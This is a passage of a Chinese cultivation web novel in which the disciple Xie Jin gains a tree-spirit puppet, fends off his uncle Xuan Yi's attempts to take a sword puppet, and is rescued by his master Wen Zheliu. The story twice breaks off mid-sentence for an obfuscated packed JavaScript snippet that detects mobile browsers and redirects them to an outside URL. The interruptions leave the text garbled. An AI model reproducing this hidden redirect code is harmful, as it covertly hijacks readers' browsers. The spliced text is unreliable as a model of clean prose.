他一碰,那小光团便陷进去一点,发出一声类似婴幼儿一般稚嫩的嘤咛,听着又有些怪。 谢槿愣了下,才反应过来,“这就是我昨晚听到的声音!不过不太一样,昨晚可能是隔得有些远,风声又大,声音听起来很吓人。” 就算找到了罪魁祸首,闻折柳依旧用怀疑的眼神看着玄意,“除了你,还能是谁带来的?” 玄意指向自己,一脸冤枉,“赖我?你自己最近难道就没有出门吗?你徒弟也没出门吗?” 玄意自己说到半截嗓音便弱了下去,调头指向谢槿,“你不下山,那兴许是他招来的呢?” 谢槿也学着师父面无表情的模样,为自己辩解。 “我已经快半个月没下山了。” 玄意缩回手指,眼神闪躲,“那,还真是我吗?可是,我最近也没出宗门啊,我们玄月峰也没有这种小东西,我这几天就是去明月湖那边转转,又去剑气阁走了一趟。” 闻折柳那张俊美的脸脸色冷凝下来,“明月湖?” 这又是谢槿没听说过的地方。 谢槿问:“也在宗门内吗?” 玄意方才误会了他,这会儿心虚地给他解释起来,“那是我们揽月宗的禁地,据说师祖一千年前开宗立派的时候封印了一条黑龙,就在明月湖下。不过这么多年都没动静,我小时候就在好奇黑龙是不是真的,偷跑过去,结果差点被淹死在湖里!” 谢槿看他脸上可没半点后怕,反倒是一脸兴奋。 “那后来呢?” 玄意抬手撇过额前碎发,忧伤望天,“我一觉醒来就回到了恒月峰,师父说我只是做了一个噩梦,我去没去过自己还能不知道吗?可师父从此再也不让我靠近明月湖了。明月湖每年这个时候就会发大水,我这不是好奇吗,每年都会跑去看一眼。” 听起来,玄意的师父当年完全就是在哄小孩子啊。 这么一说,谢槿也对明月湖有了兴趣,黑龙?原文剧情他记不太清了,但还记得大师兄后来是有一条龙当坐骑的,莫非就是…… 闻折柳淡淡出声打断二人的遐想,“明月湖乃是镇压妖龙之地,蕴玉师叔当年不让你去是为你好,每年这个时候湖水大涨是因为妖龙换气,你再这样年年偷跑过去,哪天被妖龙吞了,到时后悔也来不及了。” 玄意登时精神起来,还一脸期待地看着闻折柳,“果然有龙!我就说那肯定不是梦!闻折柳,我就知道你比我早了一百年入门,肯定比我知道的更多,那明月湖里的妖龙长什么样?你快多说说!兴许哪天我抓了妖龙当坐骑,还能让你也坐一坐!” 谢槿心道师叔野心还是挺大的,但也跟着玄意一起看着自家师父,他也很好奇这妖龙! “别做梦了。”闻折柳无情地说:“那边有些古树,也有草木精灵,每年涨水不知要被淹死多少草木,这树灵死气已现,或许本体已经枯死,你带来的,自己带回去。” 玄意不满道:“就不能多说几句妖龙的事吗?难道你根本就不知道?我不带,反正又不是我想带过来的,你自己处理掉就好了!” 谢槿一听就知道师父不打算多说明月湖的事,有些失望地垂下头,打量起那团小光团。 这个会呼吸的光团就是树灵吗? 闻折柳没说话,冷眼看着玄意,意思很明确,玄意便怂了,“反正它离开本体也活不成了,任它待在赤月峰,过几天太阳一晒就化了,你不管它也行。这种树灵本来就活不长,就跟我们脚下踩着的蚂蚁差不多,甚至都不算生灵,没了也就没了。” 谢槿愣了下,说道:“可是它还会学人说话啊。” 他半垂眼眸望着树下光团,眼底的好奇与向往似乎都在一瞬间被泼灭,被迷惘取而代之。 闻折柳看在眼里,眸光微闪。 玄意还是一如既往的大大咧咧,“本来就是啊,这种草木精灵虽然有一些会开灵智学人说话,也算有点灵气,但它们太渺小了。蚂蚁尚且是活物,而它们由草木精华凝成,根本算不上生灵,能修炼成妖的那是千万中无一,大多都会很快消亡。” 谢槿蹲下来,指尖靠近光团,轻轻一点,柔软的触感跟棉花似的,让他感到几分新奇。 “开了灵智,已经很难得了吧?” “是吧?” 玄意摸了摸下巴,“不过只要你不管它,过几天它就没了。咱们还是来说说剑傀的事吧?” 他说完凑到闻折柳身边,一脸殷勤,“闻折柳,你都把剑傀偷……咳拿出来了,要不借我用用?我保证,等我用完了肯定会还……” 他还没说完,闻折柳就是一拳,直接给他打飞了。 “啊——” 玄意的尖叫声在空中回荡,还带着回音,吵得虚弱的小树灵也跟着低低啊了一声。谢槿这回却不怕了,看看玄意消失在月夜下的声音,再看向小树灵,弯唇一笑。 “这么一看,还是很可爱的嘛。” 闻折柳问:“不怕了?” 谢槿笑容一顿,起身说道:“既然只是小树灵,徒儿自然不怕了。不过像这样可怜的小树灵,倒是叫徒儿想到自己。”他抿了抿唇,轻叹一声,“徒儿在来揽月宗之前只是一个手无缚鸡之力的病弱书生,如今有师父庇佑还好,但若到了揽月宗外,徒儿只怕也会如这小树灵一般微弱。” “从前在人间,徒儿眼中最强大者莫过于一国国君,等到修真界才明白,我们这些人间来的弟子在修士眼中也如蜉蝣一般渺小,就算是大师兄这样的王朝皇子,身份再贵重都成了过眼云烟,唯有天赋资质值得一提,过去人间十几年都恍如虚度。” 闻折柳安静听完,“想回家?” 谢槿摇摇头,桃花眸中迷雾渐消,再次亮起来,“人间与修真界有着完全不同的生存之道,但也有相通之处。书上说蚍蜉撼树,徒儿如今是弱小,但日后谁说得准?既然有幸走上修仙之道,便不能辜负天道对徒儿的这份眷顾,徒儿要得道成仙!” 闻折柳挑眉,“野心不小。” 谢槿这不是想到以前看过的一些修仙小说,突然之间中二之魂爆发,有感而发吗?他不好意思地轻咳一声,又看向那树灵,面露惋惜,“难得开了灵智,却是可惜了。” 闻折柳却问:“有何可惜?你若喜欢,就留下来,它没了本体,你为它换一个身体就是。” 谢槿愣住,“啊?” 闻折柳抬眼瞥向林中被枫树拦下来,还在不停撞树的种田小傀儡,“那不是现成的身体?” 谢槿惊道:“这都可以?” 闻折柳不以为意,“本就是草木精灵,你那傀儡又是灵木做的,刻个法阵的事,有何难?” 他说罢抬起手,一束赤红灵力犹如清风,卷起树下光团,被送入两头身小傀儡中。闻折柳接着掐诀,以灵力为墨凌空画符,挥袖打入小傀儡身上,只见小傀儡闪烁起绚烂温暖的火光,符箓缓缓没入打磨过的木头身体,不多时,眼睛亮起白光。 谢槿眼睁睁看着,只见那小傀儡停下撞树,两条机械臂动起来,眼睛处光芒闪烁着原地蹦跶了两下,而后又扭过头来看向二人。 “咦惹?” 稚嫩童声从傀儡身躯中传来,谢槿愣了一瞬,回头看向闻折柳,桃花眸又惊喜又不解。 “师父为何……” 他是动了恻隐之心,可也没想到玄意师叔对树灵的生死习以为常,师父却会救小树灵。 这样渺小的,算不上生灵的树灵,在师父这样的化神期真人眼中,该是连蚂蚁都不如的。 闻折柳只问:“不喜欢?” 谢槿连忙摇头,望着闻折柳,心中仍有震撼,到嘴边只剩一句笑叹,“师父是慈悲之人。” 闻折柳自顾自拎起玉瓶饮着他的爱酒,轻哼一声,“以后要种灵草还是巡山都随你,每天喂点灵气就行了,还不去看看你的新傀儡?” 谢槿点点头,迫不及待走到小傀儡前。有了树灵操控的小傀儡灵活了许多,不愧是开了灵智的小树灵,约莫是猜到是闻折柳和谢槿给他换了新身体,谢槿一靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105397|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近,它便举着双臂飘向谢槿,绕着谢槿转圈。 小树灵还不会说话,只能发出一些小孩似的嗓音。 “嘤嘤!” 傀儡本就只做了到谢槿小腿那么高,可爱雪人款的,绕着谢槿欢欣鼓舞的模样简直是元气满满。谢槿也被这份活力感染到,蹲下来摸摸小树灵如今木头做的脑门。 “看来这个小傀儡还是做得太粗糙了些,我给你重新画一张脸吧,到时候会更可爱。” 小树灵对这具新身体还不太熟悉,但谢槿一摸它,它就安静下来,偏头蹭了蹭谢槿手心。 谢槿感叹道:“好乖。” 闻折柳肩上的小黄鸟盯着一人一傀儡看,到这里才憋不住扑腾翅膀飞过去,踩到傀儡脑门上。有法阵在,小树灵能感应到外人触碰,操控着傀儡的机械臂往头上抓去。 小黄鸟爪下一蹬,也不知道它怎么力气那么大,居然蹬得小傀儡原地转圈,谢槿伸手想去扶,小黄鸟却先飞到他手上,低头啄他刚摸过树灵的那只手,胸毛炸起来。 谢槿没被啄疼,但看到刚才还跟他闹别扭的小黄鸟突然凑过来冲他生气炸毛,他也不蠢,眨了眨眼,便笑眯了眼,温声哄鸟。 “放心,灵米我还给你留着,寒露草也还是你的。” 小黄鸟这才停下啄人,飞到谢槿头上,抖了抖翅膀,挺起胸毛,很是神气地盯着小树灵。 “叽叽!” 谢槿不敢乱动,也看不到小黄鸟蹲在他头上干什么,好在一只手及时抓走了嚣张的小黄鸟。 “回去了。” 闻折柳揣上小黄鸟,便踏过红叶林朝山上走去。谢槿笑了笑,起身拍拍小树灵脑袋跟上。 “跟我们走吧。” 之前给傀儡刻下的术法已经被抹去,只能任由小树灵自己操控傀儡,不过小树灵虽然只是刚学人说话的灵智,却也能领会谢槿简单的指令,晃晃脑袋跟着二人飘起来。 这下真成全智能机器人了。 谢槿暗笑一声,快步追上闻折柳,他还有些问题没问明白,“师父,那陪练傀儡,真的就是玄意师叔说的开山祖师留下的剑傀吗?” 闻折柳今夜心情似乎不错,边走边道:“那铁疙瘩不过是最早看山门的傀儡,如今揽月宗早已经不需要它们了,你安心用就是。” 这回答也太敷衍了。 谢槿只好换个别的再问,“那方才说的明月湖……” 闻折柳回头看来。 谢槿乖觉闭嘴,“徒儿不问了。” 闻折柳打量他须臾,“跟我来。” 他说完就走,身影一下就消失在山道间,谢槿只好运起身法追上,还好树灵飘得够快,活力满满的模样也消减了山中几分寂寥。 不一会儿,师徒二人便回到前殿。谢槿走进殿门时,闻折柳瞥了眼停放在殿中一角的铁疙瘩,示意他近前,“按它腰间的月纹。” 谢槿只好照做,这铁疙瘩,也就是玄意说的剑傀足足有两米多高,他抬手找到腰上的月纹,用力按下去,却见剑傀周身涌出一层浅淡灵光,眨眼间在他眼前缩小成了一个球——不错,就是一个指甲大的球。 谢槿忙接住这个小铁球,睁大眼睛看向闻折柳。 “师父?” 闻折柳道:“除了陪练时,其他时候都收起来。” 听他这么说,谢槿不免谨慎起来,“师父手里不是有剑气阁令牌吗?剑傀还是不能见光?” 闻折柳看着他,没好气道:“别让玄意偷走了。” 谢槿警觉起来,“徒儿明白了!” 闻折柳打量他一眼,欲言又止,转身往后殿走去。 “困了,回去睡觉。” 谢槿将小铁球挂在了腰间,带着飘在身后的小树灵跟上去,闻折柳莫名地回头看他一眼。 “还跟着我干什么?” 谢槿对了对手指,干笑道:“师父,您不是说随我住在哪里都行吗?我也想搬到后殿来。” 前殿没有床,而且师父身边真的安全感满满…… 以小见大,谢槿自认今夜对闻折柳的了解又多了几分,师父其实是个外冷内热的好人吧! 闻折柳眉头紧锁,就在谢槿以为他要拒绝时,小黄鸟啄了啄闻折柳手指,冲他叽了一声,他才慢吞吞地问:“最近修炼很累吗?” 谢槿还以为听错了,“什么?” 师父……是在关心他吗? 最怕突如其来的关心! 19. 第十九章 鉴于闻折柳有过几次三番说让他下山的前科,虽然知道自己是奉剑真人看中的赤月峰弟子,谢槿又没犯大错,闻折柳应该不能将他赶下山,可万一师父又搞幺蛾子呢? 短短几个呼吸,谢槿经过了一场大脑风暴,而后坚定地表示道:“不累!师父,我很好!” 闻折柳看他的眼神越发古怪,倒也没再问,跟例行公事一样随口问完便往炎阳殿走去,“随便,剑傀交给你,何时修炼你自己拿主意,伤药若不够,自己去福德堂取。” 他一步便跨越了整个偌大的后殿演武场,身影一瞬到了炎阳殿前,风声将他的话语送到谢槿耳边,谢槿好一会儿才反应过来。 又是问他累不累,又是跟他说伤药够不够的…… 谢槿倒抽口气,师父该不会只是单纯关心他吧? 关心徒弟也这么别扭吗? 小腿上冷不丁被碰到,谢槿低头看去,就见小树灵正歪头蹭着他的膝盖,不禁失笑一声。 “原来树灵这么黏人吗?” 他正要蹲下,余光却瞥见身后石柱后藏了个人,眼瞳一紧,便见那人藏在一支枫树枝后朝他招手,不是刚被打飞的玄意又是谁? 谢槿抽了抽嘴角,下意识按住腰间的小铁球想跑,玄意见他不过来,便自己跑了过来。 “好巧!小谢槿,你也在啊。” 巧你个头! 谢槿被吓一跳,也是无语至极,这里可是赤月峰! 是谁不该在这里啊! 玄意探头看向炎阳殿方向,一边拿枫树枝挡住脸一边瞅着,跟做贼似的,“你师父睡了?” 谢槿哪里知道,他只能拱手一礼,“师父刚回炎阳殿,师叔去而复返,是还有什么事吗?” 听他这么说,玄意才放松下来,丢开手里新折的枫树枝,摘下脑袋上的落叶,“他不在就好,别以为就他拳头快,我也是会躲的!” 他看见小树灵,又龇牙笑起来,伸手过去,“还真救了这小树灵,你师父人有这么好吗?” 小树灵立马躲回谢槿小腿后去,露出半个圆圆的木头脑袋偷看玄意。谢槿看着有些好笑,却也不动声色将这小傀儡藏在了身后。 “师叔想来是对师父有什么误会,师父一向心善。” “哈?他心善?” 玄意仿佛听见了什么奇闻,嗤笑道:“小谢槿,你怕是刚上山,还没见过他的真面目吧?” 师父的炎阳殿可就在不远,谢槿是断然不会在玄意面前说他坏话的,脸上笑容依然从容。 “我上山不到两月,自然是不如师叔了解师父的。” “那是!” 玄意莫名骄傲,“我认识他也有七八十年了,这家伙就是个怪胎,可偏偏师祖还护着他!” 七八十年? 方才玄意还说过闻折柳比他早百年入宗门,而玄意能成为玄月峰峰主,也已经有了化神期修为,谢槿闻言看玄意的眼神有些羡慕,“师叔修炼七八十年便到了化神期?” “天赋强就是这样的啦。” 玄意嘿嘿一笑,手掌一捋,将散乱的头发梳到脑后,故作谦虚,“我还好啦,很小就拜师啦,师父一手带我修炼,我才修炼得这么快。不过要是我修炼的是剑法的话,说不定我早就超越闻折柳了!这个怪胎,我听说他刚进宗门时就是元婴期。” 谢槿大脑过滤掉凡尔赛语言,有些好奇闻折柳的事。 “师父这么厉害?” 玄意颇有些怨念,“这家伙还是师祖带回来的,才记在了怀真师伯名下,修习火阳剑法,说不定他在进宗门前,师祖给他开小灶了!不过师祖这么偏心闻折柳,我怀疑,闻折柳或许是师祖在外面的私生子!” 谢槿懵了一下,有些后悔自己居然浪费时间跟玄意说话,但好奇心作祟,还是叫他有些在意这个一听就很假的猜测,“祖师对师父很好吗?说来,我还未拜见过祖师。” 这位在闻折柳和玄意口中千年前开宗立派的祖师,谢槿所知不多,早就想打听一番了。 玄意又不高兴了,“别想了,我都没见过师祖几回,自从两百年前师祖传位给怀真师伯,就离开揽月宗云游去了,后来又出了一些事,反正怀真师伯、景延师伯和我师父都随老祖离开了宗门,我想见他们都见不到,估计连掌门也很难找到他们。” 揽月宗有三脉功法,也有揽月宗十子,俱是内门真传。 闻折柳和掌门、奉剑真人都是三阳剑脉的弟子,师父是前任掌门怀真真人,那么玄意口中的景延师伯应该就是春秋玄功一脉四位师伯的师父了,而玄意等修习玉阳心决的三位峰主的师父便该是蕴玉真人。 三脉师祖师叔祖都有同一个师父,便是开山祖师。 谢槿在心里记下这些人脉关系,又问:“出了什么事?” 他有种直觉,这事兴许发生在掌门继任前,揽月宗出现变故,匆匆换了掌门,分出九峰。 玄意撇嘴说:“你师父都没告诉你,我才不告诉你。不过你师父的事我倒是可以跟你说说,你师父这家伙自从入揽月宗就一直在干架,掌门还不是掌门的时候没少跟他打架,那时还有奉剑师兄在一边劝架。” “那时候可热闹了,师兄弟们都在。”玄意脸上有些许怀念,末了摊手说:“不过他也没得意太久,十六年前听说他练功出了岔子,已经是化神巅峰的修为反而跌落了。” 初入宗门便是元婴期,可见是少年天才,又过百余年便到化神期巅峰,却一朝修为跌落…… 谢槿心下一紧,“为什么?” 玄意也是摇头,“谁知道,反正他从那之后就很少跟人干架了,躲在山上养起鸟来,但他这臭脾气也没憋几年,这不是掌门刚继任就又被他提着剑打上门去了吗?师兄师姐们都出来劝架,才让他消停了。” 原来师父十六年前就开始养鸟了,也不知道当时养的是不是小黄鸟?谢槿是越来越好奇了。 “师父为什么要打掌门?” 玄意眼珠一转,看向谢槿,“你真的很想知道吗?” 谢槿心下咯噔一声,总感觉玄意师叔这个眼神有着他平日很少有的睿智,还冒着精光…… “若不方便,不说也无妨。” 玄意搓了搓手,蠢蠢欲动看向他腰间,“倒也没有,不过你若是肯将剑傀借给我,我也不介意告诉你那些事,但你要是不借的话……”他突然变脸,猥琐地笑起来,“闻折柳不在,谁也救不了你了,嘿!嘿!嘿!” 谢槿:“……” 他架着两头身小傀儡的胳膊,一把将懵懂的小树灵抄起来,瞪大桃花眼看向玄意身后。 “师父!” 玄意脸色骤然大变,哭丧着脸回过头,双手合十求饶,“闻折柳,你听我狡辩,都是误……” 半个会字还在他嘴里没吐出来,玄意便僵住了,演武场上空荡荡的,唯有夜间冷风扰人。 闻折柳根本没来! 玄意赶紧回头,谢槿已经抱起小树灵跑出了百丈之外,眼看着到了炎阳殿前不远,只留给玄意一个可望而不可即的背影和一脸灰。 玄意瞠目结舌,气急败坏。 “小谢槿,你骗我!” 谢槿一刻不敢停歇,飞奔回撷芳院,料想炎阳殿附近玄意应该不敢来,一进门就牢牢关好门窗。小树灵在他房中兴奋地飘来飘去,就跟小猫小狗一样,来到新地盘就开始熟悉地方,这里蹭蹭那里看看,等谢槿回来,却又乖乖地飘到他小腿边。 如此乖巧的小树灵,谢槿真的很难不喜欢,但傀儡芯子活了,倒显得这小傀儡笨重了些。 谢槿在蒲团上坐下,招手让小树灵过来,捧着圆圆脑袋端详起来,“只有眼睛还是不行,我一会儿给你刻个鼻子和嘴巴怎么样?” 小树灵也不挣扎,哼唧一声。 “嗯嗯!” 谢槿惊道:“你真听得懂吗?” 小树灵的回应是蹭谢槿手心。 谢槿突然感觉自己好像捡到宝了,能听懂人话,还有反应,那这灵智应该不会太低才对,又问:“那你都会说什么话,说来听听?” 小树灵应声,“爹!” 谢槿:“……你是一个树灵宝宝,不要这么叫人啊!” 这辈子十六岁喜当爹的谢槿大惊失色,叮嘱了小树灵好几回才拿起刻刀给它修一修五官。 能动起来的五官他目前做不出来,一个微笑脸还是能刻出来的,起码隔日一早他带着小树灵去见闻折柳时,傀儡也没那么呆板了。 不过小黄鸟显然不高兴,分明谢槿修炼时小树灵就待在树下不动,小黄鸟一双犀利的豆豆眼却一直盯着小树灵不放。谢槿以为它是怕多了一个小树灵会被抢走灵米和寒露草,在耗尽力气打坐调息时将灵米喂给了小黄鸟,喂完了才想起一件事。 “师父,寒露草要成熟了,晌午我想去收割灵草。” 闻折柳那一身红衣在烈日下总是那般明艳,他如往日一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105398|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般侧躺在石台上,支着额角假寐,但在谢槿开口时,他又会很快回答。 “嗯。” 这算是同意他今日暂停修炼了? 谢槿不敢吵他,恢复了灵力,继续跟变回大家伙的剑傀切磋,等到晌午便跟闻折柳告辞。 闻折柳摆摆手自己先走了,小黄鸟还蹲在小树灵的圆脑袋上,紧紧盯着谢槿,没跟上闻折柳。谢槿恍然大悟,失笑摇头,朝小黄鸟伸出手,“好吧,去灵田收灵草吧。” 小黄鸟欢快地啾了一声,顺着谢槿手臂飞到他头上。 谢槿拿师父的灵宠没办法,又叫上小树灵,就去了灵田。今日灵田里的寒露草刚好成熟,奉剑真人的种植手册没说怎么种灵草,却有提到怎么收获,这也是奉剑真人多次损坏灵草之后总结出来的宝贵经验。 进了灵田,小黄鸟就沉醉在充裕的灵气里,见谢槿不阻止,才扑腾翅膀飞进去啃灵草吃。 三块地的寒露草,收割完总共也就花了小半个时辰,小黄鸟这次只吃了一小部分,长成的寒露草灵气更浓,让小黄鸟醉倒在灵田里,一抽一抽地打着饱嗝。谢槿都怕它吃撑了会出事,可他拿出存放寒露草的储物袋时,小黄鸟又立马蹦跶起来。 谢槿嘴角一抽,“我又不贪你的。” 小黄鸟叽了一声,冲他抬起右爪,谢槿才发现它右爪上多了一个小金环,“这是什么?” 看着还挺富贵的。 小黄鸟干脆叼住储物袋一角,再次抬起右爪,示意谢槿看它的金环,谢槿这下才看懂了。 “你是说把灵草放到你的小环里?这是储物戒吗?” 小黄鸟叽了一声,扬起脑袋,看去颇有几分骄傲。 谢槿惊了,师父对灵宠也这么好,为了让小灵宠能吃够寒露草,专门给了鸟一个储物戒! 他就是想贪也贪不了啊! 这年头人活得还不如鸟了! 无奈之下,谢槿只好将储物袋里的寒露草转移到储物戒,小黄鸟这才高兴起来,蹭蹭谢槿手心,便扑腾着翅膀飞走了,十分无情。 谢槿叹了口气,摸摸小树灵脑袋,“只有你陪我了。” 小树灵眼睛一闪一闪的。 谢槿忙又道:“不要喊爹!” 他真是怕了! 收了一茬寒露草,总要种上新的。谢槿前几日已经开始育苗,又多开了两块地,两块地种寒露草,还有一块地种福德堂发的灵草,等忙完后又到了黄昏日落的时分。 谢槿感慨一番自己真是劳碌命,带着小树灵启动了浇灌法阵,打算让它先熟悉一下。 小树灵估计也就不到三岁的智商,哪能指望它巡山? 说来小树灵本就是草木精气所化,天然喜欢灵植和土壤,谢槿浇灌完打算带泡在灵田里意犹未尽的小树灵离开时,它还很不舍。 谢槿看它眼睛一闪一闪地盯着灵田,嗓音温柔下来,“好了,这两天我会先带你熟悉上下山路线,过几日再让你单独过来浇水。” 说完他有点羞愧,他这算不算是在雇佣童工啊? 小树灵盯着灵田不动。 “嘤!” 谢槿哪能让它留在灵田,拍拍它脑门,关上篱笆门。 “天黑了,不能待在外面。” 小树灵哼了一声,眼睛闪了闪,比刚才暗了些。 谢槿:“……” 真的很难不心软啊! 该说不说,他差点动了收个小树灵当儿子的心思…… 可他才十六岁啊! 就在谢槿迟疑之际,他冷不丁有种莫名惊悚的第六感,下意识看向林子四周,却没见到人,只有黄昏山风轻轻吹动落叶的声音。 谢槿暗松口气,低头看向小树灵,“回去吧。” 小树灵没有失望太久,眼睛的光又亮起来,元气满满地飘到前面去。谢槿不由失笑,按住它的小脑袋让它停下,“错了,是那边。” 他指向石阶的方向,前面忽然传来一道熟悉笑声—— “小谢槿!又在种田啊!” 谢槿的手僵在半空,猛一哆嗦。 玄意正叼着狗尾巴草站在枫树下,笑出了一口白牙。 谢槿:“……” 就说怎么会有被男鬼盯上的错觉。 他垂眸看了眼挂在腰间的剑傀小铁球,毫不犹豫抄起小树灵,运起身法跑向山上宫殿。 “遭了!给师父煮了饭还没关火,师叔先忙,我走了!” 20. 第二十章 谢槿几乎使出生平最快的速度,用了不到一盏茶时间就回到山上大殿,气喘吁吁放下小树灵,回头一看,玄意果然没有跟上来。 要是玄意想跟来,当然能抓到他,可谁让玄意最是忌惮闻折柳?谢槿赌他暂时不敢乱来。 谢槿摸了摸腰间铁球,心想他这几日得多跟着师父,至少等到玄意对剑傀失去兴趣为止。 晚上谢槿便没再出门,等隔日辰时才出来。 今日修炼时小黄鸟果然不搭理他了,窝在闻折柳身边晒太阳,时不时叼出一根寒露草。 谢槿心道好无情一只鸟,思索了下,捧着一盏茶放到闻折柳手边,闻折柳果然抬眼看来。 谢槿道:“徒儿在人间除了读书,也学了烹茶,虽然寒露草不算贵重,但还请师父赏脸。” 他那白玉茶盏中盛着一汪琥珀般透亮的灵茶,雾气缥缈,赫然飘着几根玉白的寒露草叶。 小黄鸟一个激灵站起来,飞扑向茶碗,然而半途就被闻折柳一巴掌罩住,按在五指山下。 “叽叽叽叽!” 小黄鸟叫得很是急促,要是它会说人话,八成是在骂人,谢槿猜得出来,却是暗爽不已。 嘿嘿,他就是偷拿了一点寒露草…… 呸! 什么偷拿? 就是他种的! 谢槿理直气壮,一脸无辜。 小黄鸟气到在闻折柳手下乱叫,闻折柳挑眉看着自己不省心的徒弟和灵宠,挑起眉梢。 谢槿当做看不懂,真诚奉茶。 “师父请用茶。” 闻折柳轻笑一声,居然放下了酒瓶,接过了茶盏。 看闻折柳当真饮下这寒露草灵茶,毫不迟疑,谢槿有些意外,眼底随即浮现出得逞的笑意。 哪管小黄鸟气急败坏,这日起,闻折柳每日出现,手边总会有谢槿亲自奉上的一盏灵茶,师父对他好,他便日日给师父奉茶。 可这日起,玄意也在频繁出现。 都是趁着闻折柳不在时,在灵田出现、在红叶林出现、在小树灵迷路时谢槿去找它的路上出现,一会儿叫小谢槿,一会儿叫好师侄,一会儿叫小槿儿,谢槿烦不胜烦。 谢槿被吓得只能让小树灵去灵田浇灌,剑傀也是断不可能给他的,跟闻折柳说过,闻折柳点了下头,只说下次玄意来了就告诉他。 不过他跟闻折柳告完状后两天,玄意果然没来了,谢槿等到第三天都没再见到他出没,才偷偷摸摸去了灵田,带回来在灵田玩得忘乎所以的小树灵,便回房修炼心法。 无名心法他修炼到第三重就修炼不下去了,大抵是还没有吃透,符道书又解锁了几种下品灵符,修为也在前几天刚刚突破到练气五层,这也是他预料之中的事。这段时间一直有剑傀陪练,修为早就逼近练气五层,甚至一突破就快碰到练气六层。 但还是差了一点。 距离跟闻折柳的三月之约,也只剩下二十来天了。 虽然知道奉剑真人是峰主后,谢槿也硬气了,知道闻折柳不会赶他下山,可时间快到了,目标却还差了一大截,他也有点难熬。 到这种关头,谢槿反而不着急了,趁着今日得空,他让小树灵自己在院里玩,趁着夜色引了灵泉水,在屋中浴桶泡了个热水澡。 摸清楚赤月峰状况后,谢槿自然不会再出现引水引到师父温泉的失误,也能用灵力热水了。 谢槿在人间时虽然比不上大师兄出身贵重,却也不愁吃喝,这么长时间没泡过澡,他入水时还是没忍住长出一口气,捞起巾帕拧干,折叠好搭在额头上,安静享受片刻。 泡澡的确舒服,要是能泡到师父的温泉就更好了。 忽地,窗户被人从外暴力推开,一道熟悉笑声传来,谄媚语调吓得谢槿差点跳出浴桶—— “谢小槿,抓到你了!” 谢槿:“……” 非要在这种时候出现吗! 他看看自己在浴桶里赤条条的身体,再看窗外玄意那欠揍的笑脸,沉默一瞬,朝天大喊—— “师父!” 玄意可一点都不怕,推开窗户就要爬进来,但由于窗户小了些,他没法潇洒地跳进来,只能硬挤进来,拍拍手哼了一声,一副小人得意的模样,朝浴桶中的谢槿走过来。 “叫吧叫吧,忘了告诉你,我特意花费了三天时间才在你这院子里布下法阵,你今天就算是叫破喉咙,闻折柳也不会来的!你放心,我只要剑傀,不会对你干什么的。” 难怪这家伙这两天不来了! 他光着身子还能跑到哪里去…… 谢槿完全放弃了往日所有的礼貌和体面,默默扯下头上的巾帕遮住水下关键部位,死鱼眼看向玄意身后,“师父,师叔又来了。” 玄意哈哈一笑,指向谢槿,“别再骗我了!谢小槿,我玄意绝不会被你骗到第二次的!” “你不妨回头看看。” 玄意一脸得意,“我才不信……” 他的笑声戛然而止,因为方才说话的那个声音不是谢槿,而是在他身后——是闻折柳! 当他意识到这一点时,已经晚了。 连日一点点布置的法阵被从天而降的剑气一瞬击破! 剑气化为赤红锁链缠上他身体,将他牢牢捆起来,往窗户外面扯去,玄意神色惊恐,大叫起来,“忘忧师兄饶命!有话好好说!” 谢槿也是一愣,抬眼看向窗外。 窗外夜色深沉,却有一道火红身影,不管是在白日还是在黑夜中,一直都那样耀眼夺目。 他方才的确是吓唬玄意的,可没想到师父来的这么快! 谢槿顿感安心,“师父……” 闻折柳转头看来,肩上的小黄鸟却先惊叫一声,扑腾翅膀飞扑到他脸上,遮住他的眼睛。 谢槿担心小黄鸟伤了师父,下意识就要起身,搅动浴桶半满的热水。所幸,闻折柳很快就抓下脸上的小鸟,隔着窗户朝他看来。 撞上那双琉璃目澄澈的眼神,谢槿才反应过来自己不着寸缕,又红着耳尖缩回了浴桶里。 “师父没事吧?” 闻折柳淡淡扫了屋中少年甚是单薄的身量一眼,便瞥向手里莫名其妙袭主还乱叫乱骂的小黄鸟,问:“玄意来这里偷看你洗澡了?” 谢槿原本还挺生气,被他这么一说就有点不好意思了,“倒也不是……他是来偷剑傀的。” 他说着看向浴桶边的矮几,上面整齐叠放着一身赤红衣裳,那只剑傀小铁球就放在衣上。 院外的玄意也在狡辩,“我没偷看啊!再说了,大家都是男的,看一眼怎么了?我就是想借一些剑傀……哎哎哎!忘忧师兄我知错了!你快把这锁链松松,疼死我啦!” 闻折柳置若罔闻,按下手里不停挣扎的小黄鸟脑袋,打量起浴桶里的少年,“没受伤?” 玄意还在外面哀嚎求饶,就算闻折柳的眼神就跟往常看他时一样纯粹平淡,谢槿自己也撞破过闻折柳出浴,可在他的目光下还是浑身不自在,两颊也很快被热气熏红。 他这白斩鸡似的身板,哪好意思当着八块腹肌的师父面前袒露出来,这实在是有辱斯文! 再说了,哪有人会这么平静地跟一个没穿衣服的人说话的?师父你也太坦然了一点吧! 谢槿羞耻到脸颊红透。 “没有……还请师父移步,我马上穿好衣服出来!” “不用,我会收拾他。” 闻折柳似乎也看出了谢槿的窘迫,眼神很快移开,抓起赤红灵力搓成的绳索,转身便走。 谢槿暗松口气,“那师父慢走。” 闻折柳闻声回眸看向他,一双琉璃目似有困惑。 “你是不是变白了?” 这话一出,谢槿人都傻了,耳朵都开始冒热气,脸颊上的绯红更是爬到水下的玉白锁骨上,更显出了脸色与身上肌肤的肤色差别。 